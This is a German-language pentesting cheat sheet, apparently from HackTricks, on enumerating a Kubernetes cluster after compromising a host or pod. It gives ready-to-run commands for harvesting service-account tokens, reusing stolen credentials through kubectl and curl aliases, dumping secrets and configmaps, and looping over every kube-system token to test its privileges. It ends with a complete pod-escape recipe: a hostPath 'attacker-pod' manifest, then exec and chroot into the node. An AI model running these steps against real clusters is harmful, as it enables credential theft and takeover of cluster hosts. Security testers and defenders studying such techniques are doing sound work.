# Kubernetes Enumeration {{#include ../../banners/hacktricks-training.md}} ## Kubernetes Tokens Wenn Sie kompromittierten Zugriff auf eine Maschine haben, könnte der Benutzer Zugriff auf eine Kubernetes-Plattform haben. Das Token befindet sich normalerweise in einer Datei, die durch die **env var `KUBECONFIG`** oder **innerhalb von `~/.kube`** angegeben wird. In diesem Ordner finden Sie möglicherweise Konfigurationsdateien mit **Tokens und Konfigurationen zur Verbindung mit dem API-Server**. In diesem Ordner finden Sie auch einen Cache-Ordner mit zuvor abgerufenen Informationen. Wenn Sie ein Pod in einer Kubernetes-Umgebung kompromittiert haben, gibt es andere Orte, an denen Sie Tokens und Informationen über die aktuelle K8-Umgebung finden können: ### Service Account Tokens Bevor Sie fortfahren, wenn Sie nicht wissen, was ein Service in Kubernetes ist, empfehle ich Ihnen, **diesen Link zu folgen und mindestens die Informationen über die Kubernetes-Architektur zu lesen.** Entnommen aus der Kubernetes [Dokumentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): _„Wenn Sie ein Pod erstellen, wird ihm automatisch das_ standardmäßige _Service-Konto im selben Namespace zugewiesen.“_ **ServiceAccount** ist ein von Kubernetes verwaltetes Objekt, das verwendet wird, um eine Identität für Prozesse bereitzustellen, die in einem Pod ausgeführt werden.\ Jedes Service-Konto hat ein zugehöriges Geheimnis, und dieses Geheimnis enthält ein Bearer-Token. Dies ist ein JSON Web Token (JWT), eine Methode zur sicheren Darstellung von Ansprüchen zwischen zwei Parteien. In der Regel befindet sich **eines** der Verzeichnisse: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` enthalten die Dateien: - **ca.crt**: Es ist das CA-Zertifikat zur Überprüfung der Kubernetes-Kommunikation - **namespace**: Es gibt den aktuellen Namespace an - **token**: Es enthält das **Service-Token** des aktuellen Pods. Jetzt, da Sie das Token haben, können Sie den API-Server in der Umgebungsvariable **`KUBECONFIG`** finden. Für weitere Informationen führen Sie `(env | set) | grep -i "kuber|kube`**`"`** aus. Das Service-Konto-Token wird mit dem Schlüssel signiert, der sich in der Datei **sa.key** befindet, und von **sa.pub** validiert. Standardstandort auf **Kubernetes**: - /etc/kubernetes/pki Standardstandort auf **Minikube**: - /var/lib/localkube/certs ### Hot Pods _**Hot Pods sind**_ Pods, die ein privilegiertes Service-Konto-Token enthalten. Ein privilegiertes Service-Konto-Token ist ein Token, das die Berechtigung hat, privilegierte Aufgaben wie das Auflisten von Geheimnissen, das Erstellen von Pods usw. auszuführen. ## RBAC Wenn Sie nicht wissen, was **RBAC** ist, **lesen Sie diesen Abschnitt**. ## GUI-Anwendungen - **k9s**: Eine GUI, die einen Kubernetes-Cluster über das Terminal auflistet. Überprüfen Sie die Befehle in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Schreiben Sie `:namespace` und wählen Sie alle aus, um dann Ressourcen in allen Namespaces zu suchen. - **k8slens**: Es bietet einige kostenlose Testtage: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet Um eine K8s-Umgebung zu enumerieren, benötigen Sie ein paar Dinge: - Ein **gültiges Authentifizierungstoken**. Im vorherigen Abschnitt haben wir gesehen, wo man nach einem Benutzertoken und einem Service-Konto-Token suchen kann. - Die **Adresse (**_**https://host:port**_**) des Kubernetes-API**. Dies kann normalerweise in den Umgebungsvariablen und/oder in der Kube-Konfigurationsdatei gefunden werden. - **Optional**: Das **ca.crt zur Überprüfung des API-Servers**. Dies kann an denselben Orten gefunden werden, an denen das Token gefunden werden kann. Dies ist nützlich, um das Zertifikat des API-Servers zu überprüfen, aber wenn Sie `--insecure-skip-tls-verify` mit `kubectl` oder `-k` mit `curl` verwenden, benötigen Sie dies nicht. Mit diesen Details können Sie **Kubernetes enumerieren**. Wenn die **API** aus irgendeinem Grund über das **Internet** **zugänglich** ist, können Sie diese Informationen einfach herunterladen und die Plattform von Ihrem Host aus enumerieren. In der Regel befindet sich der **API-Server jedoch in einem internen Netzwerk**, daher müssen Sie einen **Tunnel** durch die kompromittierte Maschine erstellen, um von Ihrer Maschine darauf zuzugreifen, oder Sie können die [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) Binärdatei hochladen oder **`curl/wget/anything`** verwenden, um rohe HTTP-Anfragen an den API-Server zu senden. ### Unterschiede zwischen den Verben `list` und `get` Mit **`get`** Berechtigungen können Sie Informationen über spezifische Assets (_`describe` Option in `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` Wenn Sie die **`list`** Berechtigung haben, dürfen Sie API-Anfragen ausführen, um einen Typ von Asset aufzulisten (_`get` Option in `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` Wenn Sie die **`watch`** Berechtigung haben, dürfen Sie API-Anfragen ausführen, um Ressourcen zu überwachen: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` Sie öffnen eine Streaming-Verbindung, die Ihnen das vollständige Manifest eines Deployments zurückgibt, wann immer es sich ändert (oder wenn ein neues erstellt wird). > [!CAUTION] > Die folgenden `kubectl`-Befehle zeigen nur, wie man die Objekte auflistet. Wenn Sie auf die Daten zugreifen möchten, müssen Sie `describe` anstelle von `get` verwenden. ### Verwendung von curl Von innerhalb eines Pods können Sie mehrere Umgebungsvariablen verwenden: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] > Standardmäßig kann das Pod den **kube-api server** im Domainnamen **`kubernetes.default.svc`** erreichen und Sie können das kube-Netzwerk in **`/etc/resolv.config`** sehen, da Sie hier die Adresse des Kubernetes-DNS-Servers finden (die ".1" des gleichen Bereichs ist der kube-api-Endpunkt). ### Verwendung von kubectl Mit dem Token und der Adresse des API-Servers verwenden Sie kubectl oder curl, um darauf zuzugreifen, wie hier angegeben: Standardmäßig kommuniziert der APISERVER mit dem `https://`-Schema. ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` > Wenn kein `https://` in der URL vorhanden ist, kann es zu einem Fehler wie Bad Request kommen. Sie finden ein [**offizielles kubectl Cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Das Ziel der folgenden Abschnitte ist es, in geordneter Weise verschiedene Optionen zur Enumeration und zum Verständnis des neuen K8s, auf das Sie Zugriff erhalten haben, zu präsentieren. Um die HTTP-Anfrage zu finden, die `kubectl` sendet, können Sie den Parameter `-v=8` verwenden. #### MitM kubectl - Proxyfying kubectl ```bash # Launch burp # Set proxy export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` ### Aktuelle Konfiguration {{#tabs }} {{#tab name="Kubectl" }} ```bash kubectl config get-users kubectl config get-contexts kubectl config get-clusters kubectl config current-context # Change namespace kubectl config set-context --current --namespace= ``` {{#endtab }} {{#endtabs }} Wenn es Ihnen gelungen ist, die Anmeldeinformationen einiger Benutzer zu stehlen, können Sie **sie lokal konfigurieren** mit etwas wie: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ --auth-provider-arg=idp-issuer-url=( issuer url ) \ --auth-provider-arg=client-id=( your client id ) \ --auth-provider-arg=client-secret=( your client secret ) \ --auth-provider-arg=refresh-token=( your refresh token ) \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` ### Unterstützte Ressourcen abrufen Mit diesen Informationen wissen Sie, welche Dienste Sie auflisten können {{#tabs }} {{#tab name="kubectl" }} ```bash k api-resources --namespaced=true #Resources specific to a namespace k api-resources --namespaced=false #Resources NOT specific to a namespace ``` {{#endtab }} {{#endtabs }} ### Aktuelle Berechtigungen abrufen {{#tabs }} {{#tab name="kubectl" }} ```bash k auth can-i --list #Get privileges in general k auth can-i --list -n custnamespace #Get privileves in custnamespace # Get service account permissions k auth can-i --list --as=system:serviceaccount:: -n ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' \ --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \ "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" ``` {{#endtab }} {{#endtabs }} Eine weitere Möglichkeit, Ihre Berechtigungen zu überprüfen, ist die Verwendung des Tools: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* Sie können mehr über **Kubernetes RBAC** erfahren in: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} **Sobald Sie wissen, welche Berechtigungen** Sie haben, überprüfen Sie die folgende Seite, um herauszufinden, **ob Sie diese ausnutzen können**, um Berechtigungen zu eskalieren: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} ### Andere Rollen abrufen {{#tabs }} {{#tab name="kubectl" }} ```bash k get roles k get clusterroles ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" ``` {{#endtab }} {{#endtabs }} ### Holen Sie sich Namespaces Kubernetes unterstützt **mehrere virtuelle Cluster**, die von demselben physischen Cluster unterstützt werden. Diese virtuellen Cluster werden **Namespaces** genannt. {{#tabs }} {{#tab name="kubectl" }} ```bash k get namespaces ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` {{#endtab }} {{#endtabs }} ### Geheimnisse abrufen {{#tabs }} {{#tab name="kubectl" }} ```bash k get secrets -o yaml k get secrets -o yaml -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ ``` {{#endtab }} {{#endtabs }} Wenn Sie Geheimnisse lesen können, können Sie die folgenden Zeilen verwenden, um die Berechtigungen zu erhalten, die mit jedem Token verbunden sind: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### Dienstkonten abrufen Wie zu Beginn dieser Seite besprochen **wird einem Pod normalerweise ein Dienstkonto zugewiesen, wenn es ausgeführt wird**. Daher kann das Auflisten der Dienstkonten, ihrer Berechtigungen und wo sie ausgeführt werden, einem Benutzer ermöglichen, Privilegien zu eskalieren. {{#tabs }} {{#tab name="kubectl" }} ```bash k get serviceaccounts ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts ``` {{#endtab }} {{#endtabs }} ### Deployments abrufen Die Deployments geben die **Komponenten** an, die **ausgeführt** werden müssen. {{#tabs }} {{#tab name="kubectl" }} ```bash k get deployments k get deployments -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//deployments/ ``` {{#endtab }} {{#endtabs }} ### Pods abrufen Die Pods sind die eigentlichen **Container**, die **ausgeführt** werden. {{#tabs }} {{#tab name="kubectl" }} ```bash k get pods k get pods -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//pods/ ``` {{#endtab }} {{#endtabs }} ### Dienste abrufen Kubernetes **Dienste** werden verwendet, um **einen Dienst an einem bestimmten Port und einer bestimmten IP** bereitzustellen (der als Lastenausgleich für die Pods fungiert, die tatsächlich den Dienst anbieten). Es ist interessant zu wissen, wo Sie andere Dienste finden können, um zu versuchen, anzugreifen. {{#tabs }} {{#tab name="kubectl" }} ```bash k get services k get services -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/default/services/ ``` {{#endtab }} {{#endtabs }} ### Knoten abrufen Alle **Knoten, die im Cluster konfiguriert sind**, abrufen. {{#tabs }} {{#tab name="kubectl" }} ```bash k get nodes ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/nodes/ ``` {{#endtab }} {{#endtabs }} ### DaemonSets abrufen **DaemonSets** ermöglichen es sicherzustellen, dass ein **spezifischer Pod auf allen Knoten** des Clusters (oder auf den ausgewählten) läuft. Wenn Sie den DaemonSet löschen, werden auch die von ihm verwalteten Pods entfernt. {{#tabs }} {{#tab name="kubectl" }} ```bash k get daemonsets ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets ``` {{#endtab }} {{#endtabs }} ### Cronjob abrufen Cronjobs ermöglichen es, mit einer crontab-ähnlichen Syntax den Start eines Pods zu planen, der eine bestimmte Aktion ausführt. {{#tabs }} {{#tab name="kubectl" }} ```bash k get cronjobs ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs ``` {{#endtab }} {{#endtabs }} ### Konfigurationsmappe abrufen Die configMap enthält immer viele Informationen und Konfigurationsdateien, die an Apps bereitgestellt werden, die in Kubernetes ausgeführt werden. Normalerweise finden Sie viele Passwörter, Geheimnisse und Tokens, die zum Verbinden und Validieren mit anderen internen/externen Diensten verwendet werden. {{#tabs }} {{#tab name="kubectl" }} ```bash k get configmaps # -n namespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps ``` {{#endtab }} {{#endtabs }} ### Netzwerkrichtlinien abrufen / Cilium Netzwerkrichtlinien {{#tabs }} {{#tab name="Erster Tab" }} ```bash k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies ``` {{#endtab }} {{#endtabs }} ### Alles bekommen / Alle {{#tabs }} {{#tab name="kubectl" }} ```bash k get all ``` {{#endtab }} {{#endtabs }} ### **Alle von Helm verwalteten Ressourcen abrufen** {{#tabs }} {{#tab name="kubectl" }} ```bash k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' ``` {{#endtab }} {{#endtabs }} ### **Pod-Verbrauch abrufen** {{#tabs }} {{#tab name="kubectl" }} ```bash k top pod --all-namespaces ``` {{#endtab }} {{#endtabs }} ### Ausbrechen aus dem Pod Wenn Sie in der Lage sind, neue Pods zu erstellen, könnten Sie in der Lage sein, aus ihnen zum Knoten auszubrechen. Um dies zu tun, müssen Sie einen neuen Pod mit einer YAML-Datei erstellen, zum erstellten Pod wechseln und dann in das System des Knotens chrooten. Sie können bereits vorhandene Pods als Referenz für die YAML-Datei verwenden, da sie vorhandene Images und Pfade anzeigen. ```bash kubectl get pod [-n ] -o yaml ``` > Wenn Sie ein Pod auf einem bestimmten Knoten erstellen müssen, können Sie den folgenden Befehl verwenden, um die Labels auf dem Knoten abzurufen > > `k get nodes --show-labels` > > Häufig sind kubernetes.io/hostname und node-role.kubernetes.io/master gute Labels zur Auswahl. Dann erstellen Sie Ihre attack.yaml-Datei. ```yaml apiVersion: v1 kind: Pod metadata: labels: run: attacker-pod name: attacker-pod namespace: default spec: volumes: - name: host-fs hostPath: path: / containers: - image: ubuntu imagePullPolicy: Always name: attacker-pod command: ["/bin/sh", "-c", "sleep infinity"] volumeMounts: - name: host-fs mountPath: /root restartPolicy: Never # nodeName and nodeSelector enable one of them when you need to create pod on the specific node #nodeName: master #nodeSelector: # kubernetes.io/hostname: master # or using # node-role.kubernetes.io/master: "" ``` Nach dem Erstellen des Pods ```bash kubectl apply -f attacker.yaml [-n ] ``` Jetzt können Sie zum erstellten Pod wechseln, indem Sie Folgendes tun: ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` Und schließlich chrootest du in das System des Knotens. ```bash chroot /root /bin/bash ``` Informationen erhalten von: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) ## Referenzen {{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}} {{#include ../../banners/hacktricks-training.md}}